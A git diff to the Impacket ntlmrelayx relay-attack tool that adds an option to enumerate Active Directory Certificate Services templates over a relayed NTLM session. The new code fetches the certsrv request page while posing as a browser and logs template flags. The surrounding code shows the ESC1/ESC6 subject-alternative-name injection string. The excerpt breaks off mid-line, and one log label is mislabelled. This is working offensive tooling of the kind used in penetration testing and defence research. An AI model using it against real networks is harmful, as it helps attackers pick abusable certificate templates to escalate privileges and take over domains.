diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f1f8ce92cc..e3b3768870 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -210,6 +210,7 @@ def start_servers(options, threads): c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) + c.setEnumTemplates(options.enum_templates) c.setIsShadowCredentialsAttack(options.shadow_credentials) c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) @@ -408,6 +409,7 @@ def stop_servers(threads): adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') + adcsoptions.add_argument('--enum-templates', action='store_true', required=False, help='Enumerate enabled AD CS templates that the relayed account has access to') # Shadow Credentials attack options shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py index ce7e7ba532..d22ca3652d 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py @@ -42,6 +42,29 @@ def _run(self): if self.username in ELEVATED: LOG.info('Skipping user %s since attack was already performed' % self.username) return + + if self.config.enumTemplates: + templates = self.enum_templates() + # Print the parsed results + for entry in templates: + try: + LOG.info(f' - {entry["REALNAME"]}') + LOG.debug(f' - KEYSPEC: {entry["KEYSPEC"]}') + LOG.debug(f' - KEYFLAG: {entry["KEYFLAG"]}') + LOG.debug(f' - ENROLLFLAG: {entry["ENROLLFLAG"]}') + LOG.debug(f' - PRIVATEKEYFLAG: {entry["PRIVATEKEYFLAG"]}') + LOG.debug(f' - SUBJECTFLAG: {entry["SUBJECTFLAG"]}') + LOG.debug(f' - RASIGNATURE: {entry["RASIGNATURE"]}') + LOG.debug(f' - CSPLIST: {entry["CSPLIST"]}') + LOG.debug(f' - EXTOID: {entry["EXTOID"]}') + LOG.debug(f' - EXTMAJ: {entry["EXTMAJ"]}') + LOG.debug(f' - EXTFMIN: {entry["EXTFMIN"]}') + LOG.debug(f' - EXTFMIN: {entry["EXTMIN"]}') + LOG.debug(f' - FRIENDLYNAME: {entry["FRIENDLYNAME"]}') + except KeyError: + LOG.info(f' - {entry}') + LOG.info("Certificate enumeration complete!") + return current_template = self.config.template if current_template is None: @@ -139,3 +162,49 @@ def generate_certattributes(template, altName): if altName: return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName) return "CertificateTemplate:{}".format(template) + + def enum_templates(self): + enum_headers = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive" + } + + # Key mapping for parsing + KEY_MAPPING = { + 0: "OFFLINE", + 1: "REALNAME", + 2: "KEYSPEC", + 3: "KEYFLAG", + 4: "ENROLLFLAG", + 5: "PRIVATEKEYFLAG", + 6: "SUBJECTFLAG", + 7: "RASIGNATURE", + 8: "CSPLIST", + 9: "EXTOID", + 10: "EXTMAJ", + 11: "EXTFMIN", + 12: "EXTMIN", + 13: "FRIENDLYNAME", + } + + LOG.info("Enumerating certificates") + self.client.request("GET", "/certsrv/certrqxt.asp", headers=enum_headers) + response = self.client.getresponse() + content = response.read() + option_lines = re.findall(r"